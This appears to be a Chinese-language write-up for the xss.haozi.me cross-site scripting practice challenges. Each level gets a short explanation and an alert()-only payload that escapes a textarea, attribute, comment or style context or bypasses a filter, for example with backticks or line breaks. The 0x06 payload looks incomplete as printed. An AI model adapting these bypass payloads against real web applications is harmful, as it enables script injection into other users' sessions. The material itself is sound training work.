https://xss.haozi.me/
0x00
无任何限制
payload如下：
<script>alert("liuxixi")</script>
0x01
先输入xxx发现就存在于<textarea></textarea>之前显示，那么我们需要把前后进行闭合，最后才会显示我们输入的内容。
payload如下：
</textarea><script>alert("liuxixi1")</script><textarea>
0x02
先输入xxx发现输的内容在双引号内，发现前面有三个双引号，那么肯定是没有闭合。
构造payload。闭合前面的双引号，这里需要注意的是input前面的 < 也要闭合。
payload如下：
"><script>alert("liuxixi2")</script><"
0x03
查看后端代码，发现过滤了()，那么我们同样可以用反引号来代替()就行了
payload如下：
<script>alert`liuxixi3`</script>
0x05
同样的方法，输入xxx发现输入内容存在于<!-- -->之间，那么我们还是将前后进行闭合，最终显示我们输入的内容。
payload如下：
--!><script>alert("liuxixi5")</script><--
0x06
我们输入前面任意一个payload，发现 > 会变成 _ 符号。
查看后端代码发现，过滤了以auto开头或者on开头，=等号结尾的标签属性并替换成_，且忽略大小写，虽然看起来好像无解了。但是这里我们可以通过换行来绕过正则的检查。
我这里用的onmousemove，意思是当鼠标移动时进行触发弹窗显示。
payload如下：
onmousemove =alert("liuxixi6")
0x08
首先我们一看页面就是肯定要闭合掉<style>标签。那么我们试一下
从上图看到我们闭合的</style>标签被注释掉了，说明被过滤掉了。
那么我们只能通过换行绕过正则。
payload如下：
</style ><script>alert("liuxixi8")</script>
